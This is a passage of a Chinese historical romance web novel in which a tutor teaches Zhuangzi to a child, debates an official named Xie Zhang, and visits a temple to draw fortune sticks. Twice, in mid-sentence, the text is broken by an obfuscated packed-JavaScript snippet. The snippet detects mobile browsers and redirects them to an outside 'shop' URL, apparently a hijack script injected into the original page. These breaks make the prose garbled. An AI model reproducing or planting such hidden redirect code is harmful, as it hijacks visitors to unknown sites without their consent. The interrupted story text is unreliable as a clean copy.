阿满才吃过晚饭，如今吃得饱饱的，以手支头看着书本，显得有些没精神。 “阿满，将手放下。”林怀楚轻声提醒道。 “来，看书。” 正好学到《外篇·至乐》，庄子路遇白骨头颅，敲之，就其死因，向其连发几问。 “将子有亡国之事、斧钺之诛而为此乎？ 将子有不善之行，愧遗父母妻子之丑而为此乎？ 将子有冻馁之患而为此乎？将子之春秋故及此乎？” 你，究竟因何而死？ 是因了国破家亡，身不由己？ 是因了作奸犯科，羞愧难当？ 是因了天灾人祸，还是因为—— 人生短短，不过百年？ 髑髅已是死物，默然不语。 庄子便枕其入眠，果真在梦里又见了那髑髅，还对其说起“死”的好处。 “死，无君于上，无臣于下，亦无四时之事，从然以天地为春秋，虽南面王乐，不能过也。” 庄子并不信“死”之乐大过生，便继续问道： 若使你你死而复生，返归乡里，你愿意吗？ 髑髅皱眉拒绝： “吾安能弃南面王乐而复为人间之劳乎！” 意为人间劳苦，他不愿重返。 林怀楚为阿满读了一遍，还未开始讲解，却突然听见身后人搁了笔，蓦地开口： “未知生，焉知死？林小姐，在阿满的年纪，教她这一篇文章，是否欠妥？” 谢章虽并不笃信儒学，但时隔多年，重读此篇，还是心中不喜。 前往琅玕院的路上，他曾再三叮嘱自己慎言，但如今还是忍不住插了嘴，语毕，心中有些后悔。 林怀楚不紧不慢地回答道： “如今教阿满这一篇《至乐》，怀楚并未觉得有什么不妥。” “孔圣人说得对，未知生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450307|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，焉知死。” “但谢大人，人活一世，就一定能活通透吗？如何才能算作“知生”呢？” 阿满本就有些困倦，听林、谢二人突然又辩论起来，非但没有更精神些，反而愈发茫然。 谢章抿了抿唇，回道： “诚然，未必人人都能‘知生’，但不知生之人，空活一世，离去时尚心怀不甘，定然也不能‘知死’。” “若对着尚不知生之人大谈死乃至乐，那‘知生’之人只会愈来愈少。” 在两人看不到的地方，阿满的头愈来愈低。 “谢大人这是本末倒置。” “‘生’，本就如此，未曾改变。朱门绣户也好，环堵萧然也好，人各有命，良田千顷，夜眠八尺。” “而‘死’，只不过是让无常的天命归为虚无而已。” 阿满如同一滩面团，软绵绵地将自己拍在了桌上。 先前握着的笔从指尖滑落，掉在地上，发出一声不轻不重的脆响。 林怀楚与谢章停了辩论，一齐看向她，不禁相视一笑。 阿满小脸红扑扑，压在肘上半边，压在桌上半边，此刻呼吸均匀，睡得倒挺香甜。 是他们这两个大人扫兴了。 谢章轻声叫来伍四六，命他去让厨房做碗莲子甜汤，为阿满醒醒神。 伍四六领命，出去了。 一时间，房中只剩下林怀楚和谢章这两个清醒的人。 思绪被打断，阿满又在一旁睡着，两人此刻已然无了辩论的兴致，沉默了好一阵。 最后，谢章率先开口，打破沉默。 “你……” 他试探性地开了口： “你这几年，在南边……过得如何？” 次问一出，林怀楚感到有些诧异。 为何突然问起自己的事？ 谢章见她挑了眉，忙找补道： “你在苏家过得如何？这些年与苏家少了联系，许多事我都不知晓。” 原来是想问苏家。 林怀楚点点头，思忖片刻，答道： “苏家……挺好的。” “男子之事我不大知晓，但经了那些事，老夫人的身子骨也还康健着，莲儿也懂事了。” “苏家宅子都还在，没受大夬军侵扰，只可惜了那枕河园，那群人进了好几次，改拆的都拆光了，能搬的，都搬空了。” 谢安静地听着，没有再打断她。 林怀楚思及往事，絮絮叨叨地说了许多旧事。 或许连她自己也没意识到，她说了这么多事，提及这么多人，却只字不提自己。 但这才是谢章真正想问的。 最后，林怀楚终于聊起一件与自己有关的事。 大军退出扬州后，恰好到了六月六。家家户户都忙着晒衣、出游。 她一时兴起，带着莲儿游湖泛舟，难得自在了一会，莲儿也高兴起来了。 “谢大人，趁着夏日，不如也带着阿满出府游玩几日？” 林怀楚由莲儿想到了阿满，于是提议道。 谢章想了想，竟同意了。 “夏至日，百官休假三日，到时我也带着阿满出门逛逛。” 这时莲子汤也上来了，林怀楚戳戳阿满的脸颊叫她： “阿满——天亮了，起来练字了——” 阿满迷迷瞪瞪地睁开一只眼。 窗外，蝉鸣阵阵，夏夜悠长。 15. 寒泉寺 夏至日，圣上大祭于方泽坛。 奉天殿前，文武百官皆身着朝服，依序立于丹墀。 是日三鼓，正祭开始，奏乐升坛，皇帝身着吉服献礼。 谢章身为礼部尚书，需在祭礼中行引导、侍奉之职。 自他领了尚书印信不过半月，便要担此大任，自然是兢兢业业，不敢懈怠半分。 礼毕，圣上赐午饭。 饭后，谢章与同僚别过，乘了马车回府。 先前答应了林怀楚要带阿满出府散散心，他便提前定下了寒泉寺的一处别院，预备等祭礼完毕后，带着众人去寺中祈福。 恰好，也许久未见寒泉寺中的故人了。 回到府中，全府上下比往常热闹了些。 夏至祭礼，谢府上下依照圣旨斋戒三日。 谢章回府时，林怀楚、阿满、王妈三人正齐聚一桌，学着王妈从老家带来的习俗，吃槐叶冷淘面。 槐叶面，顾名思义，以槐叶汁和成的面，先在滚水中烫熟了，再过一遍凉水，捞起，配上各色小菜，最后拿汁子一拌，冷淘面就成了，清凉爽口。 林怀楚一面吃面，一面赞叹： “王妈好手艺！昔日我在楚地家中，夏至日亦食冷淘面，但味道却与这槐叶面大不相同。” 阿满不语，只是一味地拿筷子捞碗里的面吃，几乎要将头埋进碗里。 “阿满，快将头抬些。” 林怀楚看着她那馋猫似的吃相，啼笑皆非，将她的头扶高了些，掏出手帕为她擦净面上的酱汁。 吃过了面，又用过了荷叶汤，众人茶足饭饱，忽然听闻外头有人来报： “大少爷回来了。” 虽林怀楚让谢章带阿满出府游玩的本意是想让阿满去外头散散心，见见未曾见过的京城夏日，但三日前，谢章按待客之礼给她下了帖，希望她一同出游。 同行人还有化名夏桑的孟回云与王妈等。 午后，众人准备妥当。 阿满上半身穿了件雪白色小衫，下身是条大红色长裙。 林怀楚带着她玩了这些时日，她似乎终于跨过了那道槛，不禁不怕出门了，现在出府也是兴致勃勃，此刻绕着林怀楚与王妈不停地转圈，似在催促。 林怀楚依旧穿着一身竹青色袄子，并一条桃红色下裙，都是几年前的旧衣，但她颇为爱惜，因而看着也不显得旧。 无他，只因要攒钱。 午后，谢府前已有三辆马车候着了。 谢、伍二人同乘一车，林、王、孟并阿满同乘一车。 另有一车载众人的行李。 万事俱备，三辆车次第驶出巷子，直朝城东寒泉寺而去。 寒泉寺，顾名思义，因寺中寒泉而得名，地处京城东郊、东山脚下，依山傍水。 夏至日，城中百姓或聚于城郊，骑马看花，或集于高梁桥，游船会友。寒泉寺中，香客比往常少些，倒称了谢章的意。 无他，只因怕见同僚。 马车在山门前停下，众人纷纷下车。 门前有个小沙弥拿着把大扫帚，正扫着地，见有车来了，亦不理睬。 伍四六上前，报了谢章的名字，让他进去找方丈。 谁料这沙弥孩子心气，只自顾自地扫地，头也不抬： “谁管那秃驴！你们自便吧。” 众人尴尬地站在原地，不知如何是好。 阿满从林怀楚身后探出脑袋，似乎想看看那出言不逊的究竟是何许人也。 “你！” 伍四六看不惯他这般自傲，正欲上前。 满口秃驴秃驴，你这臭小子不也是秃子！ 谢章摇了摇头，将他拦住。 恰好，有一老和尚笑着迎了出来： “谢家小子，别来无恙——” 来人正是寒泉寺方丈，万空大师。 一别经年，谢章见了万空大师，难掩激动之情： “晚辈有礼了！不知大师近来身体可还康健？” 这大师宝相庄严，但说起话来却是百无禁忌： “本来康健着，谁知道收了个小秃驴当徒弟，如今已经半截入土了！” 谢章忍俊不禁： “大师说笑了。” 林怀楚：原来这小秃……小沙弥这般语出惊人，是随了他师父…… 方丈与谢章略聊了几句近况，又将目光投向林怀楚一行人。 谢章主动介绍道： “这位是苏家介绍来的塾师，这位是……” 提及阿满时，谢章顿了顿。 “知道，这就是贵府千金吧。”方丈意味深长地看了谢章一眼，替他把话说完。 “既然诸位都到了，那边随我来吧。” 众人先自山门而入。寺中僧人们正在诵经，香客寥寥。 进了大雄宝殿，几人一一上了香，拜过如来。 林怀楚朝着足有几人高的金像长跪，深深磕了个头。 她并不笃信什么佛，不过心中有未竟之愿，不妨借此机会许愿。 万一实现了呢。 自殿内而出，四面篁竹，遥闻水声。 方丈带着众人来到寒泉边。 泉水自山石中涌出，其下由匠人凿出一方小池，泉水先于池中积蓄，再从右侧水道而出，不知要流向何处。 小池中沉着许多天泽通宝，想是近年来被用作了许愿池。 林怀楚带着阿满看泉水，余光则观察着阿满“贴身丫鬟”孟回云的小动作。 见她居然有偷捞池中钱币之意，林怀楚咳了咳，高声道： “夏桑，阿满鞋湿了，你去车里拿双新鞋来。” 阿满眨巴着眼睛看向林怀楚。 孟回云满脸悲怆地离开了。 可恶的读书人怎知长安米贵！ 众人一路行进，到了观音殿。林怀楚见了签房，提出要为自己求个签。 观音像前，她跪于蒲团之上，耳边木鱼声声。 她先是拜了三拜，接着摇动了签筒。 观音娘娘，怀楚能攒够一大笔钱，将女学办起来吗？她在心中默念道。 上上签……上上签…… 林怀楚聚精会神，晃着签筒。 只听“嚓”的一声，由于晃得太急，筒中的签撒出来大半。 真是出师不利啊…… 林怀楚手忙脚乱地试图将签拢起，方丈笑着摇了摇头，替她将一地的签收回筒中。 “施主，再摇一次，切勿心急。” 林怀楚再一次接过签筒，放缓了速度。 很快，一根签落在身前。 她忐忑地将其拾起，翻至正面一看—— 上上签。 她喜不自禁地连连写过观音，起身想将签给身边人看。 不料，身后站着的人是谢章。 她一转身，谢章不及后退，两人一下子离得极近。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450308|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢章的睫毛如受了惊的蝶一般，上下扑闪了好几下。 林怀楚在他的眼中看到了除错愕以外的东西。 很柔软。 并不像平日里那般，蒙了层硬壳似的。 谢章怔在原地，心中只有一个念头。 林怀楚的眼中似乎总汪着一潭水。无论过了多少年，从未变过。 “凤飞——” 万空大师在一旁清了清嗓子，喊了谢章的字。 这一声，仿佛突然有人将他从潭水中拉了出来。 若再多几刻…… 是他失礼了。 谢章在心中朝观音道了声“罪过”，主动往后退了三步： “……抱歉。” 林怀楚亦从方才的狂喜之中抽离而出，朝谢章微微欠身。 两人一时相对无言。 万空大师笑而不语。 “施主，不妨将签交与贫僧兑签。”他善意提醒道。 林怀楚回过神来，将签交至方丈手中，另有僧人将签接过，前往签房按号寻签纸。 “谢家小子，你可要去求一签？” 方丈看向谢章。 谢章思忖片刻，一掀衣摆，亦在蒲团上跪下，接过签筒，摇晃起来。 王妈见林怀楚求到了上上签，便也等在一旁，跃跃欲试，悄悄凑到林怀楚身边问她： “林丫头，你方才求的，是财运还是姻缘？” 林怀楚笑笑：“求的谋望。” “不愧是林丫头！今后一定是能干大事的！”王妈听了，赞叹不已。 谢章在那头抽出一根上吉，亦由交僧人去兑纸签了。 领过纸签，两人怀着期待，将其展开来看。 却见两张纸签上写的分别是： “蓬莱一笑（林怀楚签） 非花非草出墙来， 从来谋望赞英才。 此去桑梓多进退， 封姨一笑上蓬莱。 合欢香浓（谢章签） 天公应羡琢玉郎， 东走西顾影彷徨。 莫羡玉带腰间挂， 将离终逊合欢香。” 林怀楚读过自己的签文，心中了然。 纵是上上签，但也还需努力。只是这末的一句…… 万空大师看过了她的签文，见其不解，便提点道： “施主必将实现心中所愿，只是……” “还需一些他人的助益。” 林怀楚闻言并不觉心安，只觉被人泼了一盆冷水。 自己所结识的女子所得的助益，无非来自母族，或夫家。 她自年少便心心念念之事，终究还是需要依附于人么？ 万空大师将签纸交还与她： “施主不必心焦。” 只观她周身气度，便知她心高气傲，志向不俗，如今得知自己还需求助于人，难免灰心。 于是，他出言开解道： “这签，既然是施主亲手抽出的，那这命，自然也攥在自己手里。” “鹏，其翼何其之大？纵然如此，它欲直上九天，也还要待那一场六月的风。” “况且，所谓签文，不过是一张纸罢了。” 林怀楚慢慢收了签，点了点头。 两人交谈之际，谢章站在几步之外，捏着手中的签纸，心中同样五味杂陈。 只因他所求并非其他。 而是姻缘。